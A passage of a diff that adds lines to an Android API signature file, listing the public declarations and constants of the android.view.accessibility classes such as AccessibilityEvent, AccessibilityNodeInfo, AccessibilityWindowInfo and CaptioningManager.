+    field public static final int CONTENT_CHANGE_TYPE_PANE_DISAPPEARED = 32; // 0x20
+    field public static final int CONTENT_CHANGE_TYPE_PANE_TITLE = 8; // 0x8
+    field public static final int CONTENT_CHANGE_TYPE_STATE_DESCRIPTION = 64; // 0x40
+    field public static final int CONTENT_CHANGE_TYPE_SUBTREE = 1; // 0x1
+    field public static final int CONTENT_CHANGE_TYPE_TEXT = 2; // 0x2
+    field public static final int CONTENT_CHANGE_TYPE_UNDEFINED = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.accessibility.AccessibilityEvent> CREATOR;
+    field public static final int INVALID_POSITION = -1; // 0xffffffff
+    field @Deprecated public static final int MAX_TEXT_LENGTH = 500; // 0x1f4
+    field public static final int TYPES_ALL_MASK = -1; // 0xffffffff
+    field public static final int TYPE_ANNOUNCEMENT = 16384; // 0x4000
+    field public static final int TYPE_ASSIST_READING_CONTEXT = 16777216; // 0x1000000
+    field public static final int TYPE_GESTURE_DETECTION_END = 524288; // 0x80000
+    field public static final int TYPE_GESTURE_DETECTION_START = 262144; // 0x40000
+    field public static final int TYPE_NOTIFICATION_STATE_CHANGED = 64; // 0x40
+    field public static final int TYPE_TOUCH_EXPLORATION_GESTURE_END = 1024; // 0x400
+    field public static final int TYPE_TOUCH_EXPLORATION_GESTURE_START = 512; // 0x200
+    field public static final int TYPE_TOUCH_INTERACTION_END = 2097152; // 0x200000
+    field public static final int TYPE_TOUCH_INTERACTION_START = 1048576; // 0x100000
+    field public static final int TYPE_VIEW_ACCESSIBILITY_FOCUSED = 32768; // 0x8000
+    field public static final int TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED = 65536; // 0x10000
+    field public static final int TYPE_VIEW_CLICKED = 1; // 0x1
+    field public static final int TYPE_VIEW_CONTEXT_CLICKED = 8388608; // 0x800000
+    field public static final int TYPE_VIEW_FOCUSED = 8; // 0x8
+    field public static final int TYPE_VIEW_HOVER_ENTER = 128; // 0x80
+    field public static final int TYPE_VIEW_HOVER_EXIT = 256; // 0x100
+    field public static final int TYPE_VIEW_LONG_CLICKED = 2; // 0x2
+    field public static final int TYPE_VIEW_SCROLLED = 4096; // 0x1000
+    field public static final int TYPE_VIEW_SELECTED = 4; // 0x4
+    field public static final int TYPE_VIEW_TEXT_CHANGED = 16; // 0x10
+    field public static final int TYPE_VIEW_TEXT_SELECTION_CHANGED = 8192; // 0x2000
+    field public static final int TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY = 131072; // 0x20000
+    field public static final int TYPE_WINDOWS_CHANGED = 4194304; // 0x400000
+    field public static final int TYPE_WINDOW_CONTENT_CHANGED = 2048; // 0x800
+    field public static final int TYPE_WINDOW_STATE_CHANGED = 32; // 0x20
+    field public static final int WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED = 128; // 0x80
+    field public static final int WINDOWS_CHANGE_ACTIVE = 32; // 0x20
+    field public static final int WINDOWS_CHANGE_ADDED = 1; // 0x1
+    field public static final int WINDOWS_CHANGE_BOUNDS = 8; // 0x8
+    field public static final int WINDOWS_CHANGE_CHILDREN = 512; // 0x200
+    field public static final int WINDOWS_CHANGE_FOCUSED = 64; // 0x40
+    field public static final int WINDOWS_CHANGE_LAYER = 16; // 0x10
+    field public static final int WINDOWS_CHANGE_PARENT = 256; // 0x100
+    field public static final int WINDOWS_CHANGE_PIP = 1024; // 0x400
+    field public static final int WINDOWS_CHANGE_REMOVED = 2; // 0x2
+    field public static final int WINDOWS_CHANGE_TITLE = 4; // 0x4
+  }
+
+  public interface AccessibilityEventSource {
+    method public void sendAccessibilityEvent(int);
+    method public void sendAccessibilityEventUnchecked(android.view.accessibility.AccessibilityEvent);
+  }
+
+  public final class AccessibilityManager {
+    method public void addAccessibilityRequestPreparer(android.view.accessibility.AccessibilityRequestPreparer);
+    method public boolean addAccessibilityStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.AccessibilityStateChangeListener);
+    method public void addAccessibilityStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.AccessibilityStateChangeListener, @Nullable android.os.Handler);
+    method public boolean addTouchExplorationStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.TouchExplorationStateChangeListener);
+    method public void addTouchExplorationStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.TouchExplorationStateChangeListener, @Nullable android.os.Handler);
+    method @ColorInt public int getAccessibilityFocusColor();
+    method public int getAccessibilityFocusStrokeWidth();
+    method @Deprecated public java.util.List<android.content.pm.ServiceInfo> getAccessibilityServiceList();
+    method public java.util.List<android.accessibilityservice.AccessibilityServiceInfo> getEnabledAccessibilityServiceList(int);
+    method public java.util.List<android.accessibilityservice.AccessibilityServiceInfo> getInstalledAccessibilityServiceList();
+    method public int getRecommendedTimeoutMillis(int, int);
+    method public void interrupt();
+    method public static boolean isAccessibilityButtonSupported();
+    method public boolean isEnabled();
+    method public boolean isTouchExplorationEnabled();
+    method public void removeAccessibilityRequestPreparer(android.view.accessibility.AccessibilityRequestPreparer);
+    method public boolean removeAccessibilityStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.AccessibilityStateChangeListener);
+    method public boolean removeTouchExplorationStateChangeListener(@NonNull android.view.accessibility.AccessibilityManager.TouchExplorationStateChangeListener);
+    method public void sendAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    field public static final int FLAG_CONTENT_CONTROLS = 4; // 0x4
+    field public static final int FLAG_CONTENT_ICONS = 1; // 0x1
+    field public static final int FLAG_CONTENT_TEXT = 2; // 0x2
+  }
+
+  public static interface AccessibilityManager.AccessibilityStateChangeListener {
+    method public void onAccessibilityStateChanged(boolean);
+  }
+
+  public static interface AccessibilityManager.TouchExplorationStateChangeListener {
+    method public void onTouchExplorationStateChanged(boolean);
+  }
+
+  public class AccessibilityNodeInfo implements android.os.Parcelable {
+    ctor public AccessibilityNodeInfo();
+    ctor public AccessibilityNodeInfo(@NonNull android.view.View);
+    ctor public AccessibilityNodeInfo(@NonNull android.view.View, int);
+    ctor public AccessibilityNodeInfo(@NonNull android.view.accessibility.AccessibilityNodeInfo);
+    method public void addAction(android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction);
+    method @Deprecated public void addAction(int);
+    method public void addChild(android.view.View);
+    method public void addChild(android.view.View, int);
+    method public boolean canOpenPopup();
+    method public int describeContents();
+    method public java.util.List<android.view.accessibility.AccessibilityNodeInfo> findAccessibilityNodeInfosByText(String);
+    method public java.util.List<android.view.accessibility.AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId(@NonNull String);
+    method public android.view.accessibility.AccessibilityNodeInfo findFocus(int);
+    method public android.view.accessibility.AccessibilityNodeInfo focusSearch(int);
+    method public java.util.List<android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction> getActionList();
+    method @Deprecated public int getActions();
+    method public java.util.List<java.lang.String> getAvailableExtraData();
+    method @Deprecated public void getBoundsInParent(android.graphics.Rect);
+    method public void getBoundsInScreen(android.graphics.Rect);
+    method public android.view.accessibility.AccessibilityNodeInfo getChild(int);
+    method public int getChildCount();
+    method public CharSequence getClassName();
+    method public android.view.accessibility.AccessibilityNodeInfo.CollectionInfo getCollectionInfo();
+    method public android.view.accessibility.AccessibilityNodeInfo.CollectionItemInfo getCollectionItemInfo();
+    method public CharSequence getContentDescription();
+    method public int getDrawingOrder();
+    method public CharSequence getError();
+    method @Nullable public android.view.accessibility.AccessibilityNodeInfo.ExtraRenderingInfo getExtraRenderingInfo();
+    method public android.os.Bundle getExtras();
+    method public CharSequence getHintText();
+    method public int getInputType();
+    method public android.view.accessibility.AccessibilityNodeInfo getLabelFor();
+    method public android.view.accessibility.AccessibilityNodeInfo getLabeledBy();
+    method public int getLiveRegion();
+    method public int getMaxTextLength();
+    method public int getMovementGranularities();
+    method public CharSequence getPackageName();
+    method @Nullable public CharSequence getPaneTitle();
+    method public android.view.accessibility.AccessibilityNodeInfo getParent();
+    method public android.view.accessibility.AccessibilityNodeInfo.RangeInfo getRangeInfo();
+    method @Nullable public CharSequence getStateDescription();
+    method public CharSequence getText();
+    method public int getTextSelectionEnd();
+    method public int getTextSelectionStart();
+    method @Nullable public CharSequence getTooltipText();
+    method @Nullable public android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo getTouchDelegateInfo();
+    method public android.view.accessibility.AccessibilityNodeInfo getTraversalAfter();
+    method public android.view.accessibility.AccessibilityNodeInfo getTraversalBefore();
+    method public String getViewIdResourceName();
+    method public android.view.accessibility.AccessibilityWindowInfo getWindow();
+    method public int getWindowId();
+    method public boolean isAccessibilityFocused();
+    method public boolean isCheckable();
+    method public boolean isChecked();
+    method public boolean isClickable();
+    method public boolean isContentInvalid();
+    method public boolean isContextClickable();
+    method public boolean isDismissable();
+    method public boolean isEditable();
+    method public boolean isEnabled();
+    method public boolean isFocusable();
+    method public boolean isFocused();
+    method public boolean isHeading();
+    method public boolean isImportantForAccessibility();
+    method public boolean isLongClickable();
+    method public boolean isMultiLine();
+    method public boolean isPassword();
+    method public boolean isScreenReaderFocusable();
+    method public boolean isScrollable();
+    method public boolean isSelected();
+    method public boolean isShowingHintText();
+    method public boolean isTextEntryKey();
+    method public boolean isVisibleToUser();
+    method public static android.view.accessibility.AccessibilityNodeInfo obtain(android.view.View);
+    method public static android.view.accessibility.AccessibilityNodeInfo obtain(android.view.View, int);
+    method public static android.view.accessibility.AccessibilityNodeInfo obtain();
+    method public static android.view.accessibility.AccessibilityNodeInfo obtain(android.view.accessibility.AccessibilityNodeInfo);
+    method public boolean performAction(int);
+    method public boolean performAction(int, android.os.Bundle);
+    method public void recycle();
+    method public boolean refresh();
+    method public boolean refreshWithExtraData(String, android.os.Bundle);
+    method @Deprecated public void removeAction(int);
+    method public boolean removeAction(android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction);
+    method public boolean removeChild(android.view.View);
+    method public boolean removeChild(android.view.View, int);
+    method public void setAccessibilityFocused(boolean);
+    method public void setAvailableExtraData(java.util.List<java.lang.String>);
+    method @Deprecated public void setBoundsInParent(android.graphics.Rect);
+    method public void setBoundsInScreen(android.graphics.Rect);
+    method public void setCanOpenPopup(boolean);
+    method public void setCheckable(boolean);
+    method public void setChecked(boolean);
+    method public void setClassName(CharSequence);
+    method public void setClickable(boolean);
+    method public void setCollectionInfo(android.view.accessibility.AccessibilityNodeInfo.CollectionInfo);
+    method public void setCollectionItemInfo(android.view.accessibility.AccessibilityNodeInfo.CollectionItemInfo);
+    method public void setContentDescription(CharSequence);
+    method public void setContentInvalid(boolean);
+    method public void setContextClickable(boolean);
+    method public void setDismissable(boolean);
+    method public void setDrawingOrder(int);
+    method public void setEditable(boolean);
+    method public void setEnabled(boolean);
+    method public void setError(CharSequence);
+    method public void setFocusable(boolean);
+    method public void setFocused(boolean);
+    method public void setHeading(boolean);
+    method public void setHintText(CharSequence);
+    method public void setImportantForAccessibility(boolean);
+    method public void setInputType(int);
+    method public void setLabelFor(android.view.View);
+    method public void setLabelFor(android.view.View, int);
+    method public void setLabeledBy(android.view.View);
+    method public void setLabeledBy(android.view.View, int);
+    method public void setLiveRegion(int);
+    method public void setLongClickable(boolean);
+    method public void setMaxTextLength(int);
+    method public void setMovementGranularities(int);
+    method public void setMultiLine(boolean);
+    method public void setPackageName(CharSequence);
+    method public void setPaneTitle(@Nullable CharSequence);
+    method public void setParent(android.view.View);
+    method public void setParent(android.view.View, int);
+    method public void setPassword(boolean);
+    method public void setRangeInfo(android.view.accessibility.AccessibilityNodeInfo.RangeInfo);
+    method public void setScreenReaderFocusable(boolean);
+    method public void setScrollable(boolean);
+    method public void setSelected(boolean);
+    method public void setShowingHintText(boolean);
+    method public void setSource(android.view.View);
+    method public void setSource(android.view.View, int);
+    method public void setStateDescription(@Nullable CharSequence);
+    method public void setText(CharSequence);
+    method public void setTextEntryKey(boolean);
+    method public void setTextSelection(int, int);
+    method public void setTooltipText(@Nullable CharSequence);
+    method public void setTouchDelegateInfo(@NonNull android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo);
+    method public void setTraversalAfter(android.view.View);
+    method public void setTraversalAfter(android.view.View, int);
+    method public void setTraversalBefore(android.view.View);
+    method public void setTraversalBefore(android.view.View, int);
+    method public void setViewIdResourceName(String);
+    method public void setVisibleToUser(boolean);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACTION_ACCESSIBILITY_FOCUS = 64; // 0x40
+    field public static final String ACTION_ARGUMENT_COLUMN_INT = "android.view.accessibility.action.ARGUMENT_COLUMN_INT";
+    field public static final String ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN = "ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN";
+    field public static final String ACTION_ARGUMENT_HTML_ELEMENT_STRING = "ACTION_ARGUMENT_HTML_ELEMENT_STRING";
+    field public static final String ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT = "ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT";
+    field public static final String ACTION_ARGUMENT_MOVE_WINDOW_X = "ACTION_ARGUMENT_MOVE_WINDOW_X";
+    field public static final String ACTION_ARGUMENT_MOVE_WINDOW_Y = "ACTION_ARGUMENT_MOVE_WINDOW_Y";
+    field public static final String ACTION_ARGUMENT_PRESS_AND_HOLD_DURATION_MILLIS_INT = "android.view.accessibility.action.ARGUMENT_PRESS_AND_HOLD_DURATION_MILLIS_INT";
+    field public static final String ACTION_ARGUMENT_PROGRESS_VALUE = "android.view.accessibility.action.ARGUMENT_PROGRESS_VALUE";
+    field public static final String ACTION_ARGUMENT_ROW_INT = "android.view.accessibility.action.ARGUMENT_ROW_INT";
+    field public static final String ACTION_ARGUMENT_SELECTION_END_INT = "ACTION_ARGUMENT_SELECTION_END_INT";
+    field public static final String ACTION_ARGUMENT_SELECTION_START_INT = "ACTION_ARGUMENT_SELECTION_START_INT";
+    field public static final String ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE = "ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE";
+    field public static final int ACTION_CLEAR_ACCESSIBILITY_FOCUS = 128; // 0x80
+    field public static final int ACTION_CLEAR_FOCUS = 2; // 0x2
+    field public static final int ACTION_CLEAR_SELECTION = 8; // 0x8
+    field public static final int ACTION_CLICK = 16; // 0x10
+    field public static final int ACTION_COLLAPSE = 524288; // 0x80000
+    field public static final int ACTION_COPY = 16384; // 0x4000
+    field public static final int ACTION_CUT = 65536; // 0x10000
+    field public static final int ACTION_DISMISS = 1048576; // 0x100000
+    field public static final int ACTION_EXPAND = 262144; // 0x40000
+    field public static final int ACTION_FOCUS = 1; // 0x1
+    field public static final int ACTION_LONG_CLICK = 32; // 0x20
+    field public static final int ACTION_NEXT_AT_MOVEMENT_GRANULARITY = 256; // 0x100
+    field public static final int ACTION_NEXT_HTML_ELEMENT = 1024; // 0x400
+    field public static final int ACTION_PASTE = 32768; // 0x8000
+    field public static final int ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = 512; // 0x200
+    field public static final int ACTION_PREVIOUS_HTML_ELEMENT = 2048; // 0x800
+    field public static final int ACTION_SCROLL_BACKWARD = 8192; // 0x2000
+    field public static final int ACTION_SCROLL_FORWARD = 4096; // 0x1000
+    field public static final int ACTION_SELECT = 4; // 0x4
+    field public static final int ACTION_SET_SELECTION = 131072; // 0x20000
+    field public static final int ACTION_SET_TEXT = 2097152; // 0x200000
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.accessibility.AccessibilityNodeInfo> CREATOR;
+    field public static final String EXTRA_DATA_RENDERING_INFO_KEY = "android.view.accessibility.extra.DATA_RENDERING_INFO_KEY";
+    field public static final String EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH = "android.view.accessibility.extra.DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH";
+    field public static final int EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_MAX_LENGTH = 20000; // 0x4e20
+    field public static final String EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX = "android.view.accessibility.extra.DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX";
+    field public static final String EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY = "android.view.accessibility.extra.DATA_TEXT_CHARACTER_LOCATION_KEY";
+    field public static final int FOCUS_ACCESSIBILITY = 2; // 0x2
+    field public static final int FOCUS_INPUT = 1; // 0x1
+    field public static final int MOVEMENT_GRANULARITY_CHARACTER = 1; // 0x1
+    field public static final int MOVEMENT_GRANULARITY_LINE = 4; // 0x4
+    field public static final int MOVEMENT_GRANULARITY_PAGE = 16; // 0x10
+    field public static final int MOVEMENT_GRANULARITY_PARAGRAPH = 8; // 0x8
+    field public static final int MOVEMENT_GRANULARITY_WORD = 2; // 0x2
+  }
+
+  public static final class AccessibilityNodeInfo.AccessibilityAction implements android.os.Parcelable {
+    ctor public AccessibilityNodeInfo.AccessibilityAction(int, @Nullable CharSequence);
+    method public int describeContents();
+    method public int getId();
+    method public CharSequence getLabel();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_ACCESSIBILITY_FOCUS;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_CLEAR_ACCESSIBILITY_FOCUS;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_CLEAR_FOCUS;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_CLEAR_SELECTION;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_CLICK;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_COLLAPSE;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_CONTEXT_CLICK;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_COPY;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_CUT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_DISMISS;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_EXPAND;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_FOCUS;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_HIDE_TOOLTIP;
+    field @NonNull public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_IME_ENTER;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_LONG_CLICK;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_MOVE_WINDOW;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_NEXT_AT_MOVEMENT_GRANULARITY;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_NEXT_HTML_ELEMENT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PAGE_DOWN;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PAGE_LEFT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PAGE_RIGHT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PAGE_UP;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PASTE;
+    field @NonNull public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PRESS_AND_HOLD;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_PREVIOUS_HTML_ELEMENT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_BACKWARD;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_DOWN;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_FORWARD;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_LEFT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_RIGHT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_TO_POSITION;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SCROLL_UP;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SELECT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SET_PROGRESS;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SET_SELECTION;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SET_TEXT;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SHOW_ON_SCREEN;
+    field public static final android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction ACTION_SHOW_TOOLTIP;
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction> CREATOR;
+  }
+
+  public static final class AccessibilityNodeInfo.CollectionInfo {
+    ctor public AccessibilityNodeInfo.CollectionInfo(int, int, boolean);
+    ctor public AccessibilityNodeInfo.CollectionInfo(int, int, boolean, int);
+    method public int getColumnCount();
+    method public int getRowCount();
+    method public int getSelectionMode();
+    method public boolean isHierarchical();
+    method public static android.view.accessibility.AccessibilityNodeInfo.CollectionInfo obtain(int, int, boolean);
+    method public static android.view.accessibility.AccessibilityNodeInfo.CollectionInfo obtain(int, int, boolean, int);
+    field public static final int SELECTION_MODE_MULTIPLE = 2; // 0x2
+    field public static final int SELECTION_MODE_NONE = 0; // 0x0
+    field public static final int SELECTION_MODE_SINGLE = 1; // 0x1
+  }
+
+  public static final class AccessibilityNodeInfo.CollectionItemInfo {
+    ctor public AccessibilityNodeInfo.CollectionItemInfo(int, int, int, int, boolean);
+    ctor public AccessibilityNodeInfo.CollectionItemInfo(int, int, int, int, boolean, boolean);
+    method public int getColumnIndex();
+    method public int getColumnSpan();
+    method public int getRowIndex();
+    method public int getRowSpan();
+    method @Deprecated public boolean isHeading();
+    method public boolean isSelected();
+    method public static android.view.accessibility.AccessibilityNodeInfo.CollectionItemInfo obtain(int, int, int, int, boolean);
+    method public static android.view.accessibility.AccessibilityNodeInfo.CollectionItemInfo obtain(int, int, int, int, boolean, boolean);
+  }
+
+  public static final class AccessibilityNodeInfo.ExtraRenderingInfo {
+    method @Nullable public android.util.Size getLayoutSize();
+    method public float getTextSizeInPx();
+    method public int getTextSizeUnit();
+  }
+
+  public static final class AccessibilityNodeInfo.RangeInfo {
+    ctor public AccessibilityNodeInfo.RangeInfo(int, float, float, float);
+    method public float getCurrent();
+    method public float getMax();
+    method public float getMin();
+    method public int getType();
+    method public static android.view.accessibility.AccessibilityNodeInfo.RangeInfo obtain(int, float, float, float);
+    field public static final int RANGE_TYPE_FLOAT = 1; // 0x1
+    field public static final int RANGE_TYPE_INT = 0; // 0x0
+    field public static final int RANGE_TYPE_PERCENT = 2; // 0x2
+  }
+
+  public static final class AccessibilityNodeInfo.TouchDelegateInfo implements android.os.Parcelable {
+    ctor public AccessibilityNodeInfo.TouchDelegateInfo(@NonNull java.util.Map<android.graphics.Region,android.view.View>);
+    method public int describeContents();
+    method @NonNull public android.graphics.Region getRegionAt(int);
+    method public int getRegionCount();
+    method @Nullable public android.view.accessibility.AccessibilityNodeInfo getTargetForRegion(@NonNull android.graphics.Region);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo> CREATOR;
+  }
+
+  public abstract class AccessibilityNodeProvider {
+    ctor public AccessibilityNodeProvider();
+    method public void addExtraDataToAccessibilityNodeInfo(int, android.view.accessibility.AccessibilityNodeInfo, String, android.os.Bundle);
+    method public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
+    method public java.util.List<android.view.accessibility.AccessibilityNodeInfo> findAccessibilityNodeInfosByText(String, int);
+    method public android.view.accessibility.AccessibilityNodeInfo findFocus(int);
+    method public boolean performAction(int, int, android.os.Bundle);
+    field public static final int HOST_VIEW_ID = -1; // 0xffffffff
+  }
+
+  public class AccessibilityRecord {
+    ctor public AccessibilityRecord();
+    ctor public AccessibilityRecord(@NonNull android.view.accessibility.AccessibilityRecord);
+    method public int getAddedCount();
+    method public CharSequence getBeforeText();
+    method public CharSequence getClassName();
+    method public CharSequence getContentDescription();
+    method public int getCurrentItemIndex();
+    method public int getFromIndex();
+    method public int getItemCount();
+    method public int getMaxScrollX();
+    method public int getMaxScrollY();
+    method public android.os.Parcelable getParcelableData();
+    method public int getRemovedCount();
+    method public int getScrollDeltaX();
+    method public int getScrollDeltaY();
+    method public int getScrollX();
+    method public int getScrollY();
+    method public android.view.accessibility.AccessibilityNodeInfo getSource();
+    method public java.util.List<java.lang.CharSequence> getText();
+    method public int getToIndex();
+    method public int getWindowId();
+    method public boolean isChecked();
+    method public boolean isEnabled();
+    method public boolean isFullScreen();
+    method public boolean isPassword();
+    method public boolean isScrollable();
+    method public static android.view.accessibility.AccessibilityRecord obtain(android.view.accessibility.AccessibilityRecord);
+    method public static android.view.accessibility.AccessibilityRecord obtain();
+    method public void recycle();
+    method public void setAddedCount(int);
+    method public void setBeforeText(CharSequence);
+    method public void setChecked(boolean);
+    method public void setClassName(CharSequence);
+    method public void setContentDescription(CharSequence);
+    method public void setCurrentItemIndex(int);
+    method public void setEnabled(boolean);
+    method public void setFromIndex(int);
+    method public void setFullScreen(boolean);
+    method public void setItemCount(int);
+    method public void setMaxScrollX(int);
+    method public void setMaxScrollY(int);
+    method public void setParcelableData(android.os.Parcelable);
+    method public void setPassword(boolean);
+    method public void setRemovedCount(int);
+    method public void setScrollDeltaX(int);
+    method public void setScrollDeltaY(int);
+    method public void setScrollX(int);
+    method public void setScrollY(int);
+    method public void setScrollable(boolean);
+    method public void setSource(android.view.View);
+    method public void setSource(@Nullable android.view.View, int);
+    method public void setToIndex(int);
+  }
+
+  public abstract class AccessibilityRequestPreparer {
+    ctor public AccessibilityRequestPreparer(android.view.View, int);
+    method @Nullable public android.view.View getView();
+    method public abstract void onPrepareExtraData(int, String, android.os.Bundle, android.os.Message);
+    field public static final int REQUEST_TYPE_EXTRA_DATA = 1; // 0x1
+  }
+
+  public final class AccessibilityWindowInfo implements android.os.Parcelable {
+    ctor public AccessibilityWindowInfo();
+    ctor public AccessibilityWindowInfo(@NonNull android.view.accessibility.AccessibilityWindowInfo);
+    method public int describeContents();
+    method public android.view.accessibility.AccessibilityNodeInfo getAnchor();
+    method public void getBoundsInScreen(android.graphics.Rect);
+    method public android.view.accessibility.AccessibilityWindowInfo getChild(int);
+    method public int getChildCount();
+    method public int getDisplayId();
+    method public int getId();
+    method public int getLayer();
+    method public android.view.accessibility.AccessibilityWindowInfo getParent();
+    method public void getRegionInScreen(@NonNull android.graphics.Region);
+    method public android.view.accessibility.AccessibilityNodeInfo getRoot();
+    method @Nullable public CharSequence getTitle();
+    method public int getType();
+    method public boolean isAccessibilityFocused();
+    method public boolean isActive();
+    method public boolean isFocused();
+    method public boolean isInPictureInPictureMode();
+    method public static android.view.accessibility.AccessibilityWindowInfo obtain();
+    method public static android.view.accessibility.AccessibilityWindowInfo obtain(android.view.accessibility.AccessibilityWindowInfo);
+    method public void recycle();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.accessibility.AccessibilityWindowInfo> CREATOR;
+    field public static final int TYPE_ACCESSIBILITY_OVERLAY = 4; // 0x4
+    field public static final int TYPE_APPLICATION = 1; // 0x1
+    field public static final int TYPE_INPUT_METHOD = 2; // 0x2
+    field public static final int TYPE_SPLIT_SCREEN_DIVIDER = 5; // 0x5
+    field public static final int TYPE_SYSTEM = 3; // 0x3
+  }
+
+  public class CaptioningManager {
+    method public void addCaptioningChangeListener(@NonNull android.view.accessibility.CaptioningManager.CaptioningChangeListener);
+    method public final float getFontScale();
+    method @Nullable public final java.util.Locale getLocale();
+    method @NonNull public android.view.accessibility.CaptioningManager.CaptionStyle getUserStyle();
+    method public final boolean isEnabled();
+    method public void removeCaptioningChangeListener(@NonNull android.view.accessibility.CaptioningManager.CaptioningChangeListener);
+  }
+
+  public static final class CaptioningManager.CaptionStyle {
+    method @Nullable public android.graphics.Typeface getTypeface();
+    method public boolean hasBackgroundColor();
+    method public boolean hasEdgeColor();
+    method public boolean hasEdgeType();
+    method public boolean hasForegroundColor();
+    method public boolean hasWindowColor();
+    field public static final int EDGE_TYPE_DEPRESSED = 4; // 0x4
+    field public static final int EDGE_TYPE_DROP_SHADOW = 2; // 0x2
+    field public static final int EDGE_TYPE_NONE = 0; // 0x0
+    field public static final int EDGE_TYPE_OUTLINE = 1; // 0x1
+    field public static final int EDGE_TYPE_RAISED = 3; // 0x3
+    field public static final int EDGE_TYPE_UNSPECIFIED = -1; // 0xffffffff
+    field public final int backgroundColor;
+    field public final int edgeColor;
+    field public final int edgeType;
+    field public final int foregroundColor;
+    field public final int windowColor;
+  }
+
+  public abstract static class CaptioningManager.CaptioningChangeListener {
+    ctor public CaptioningManager.CaptioningChangeListener();
+    method public void onEnabledChanged(boolean);
+    method public void onFontScaleChanged(float);
+    method public void onLocaleChanged(@Nullable java.util.Locale);
+    method public void onUserStyleChanged(@NonNull android.view.accessibility.CaptioningManager.CaptionStyle);
+  }
+
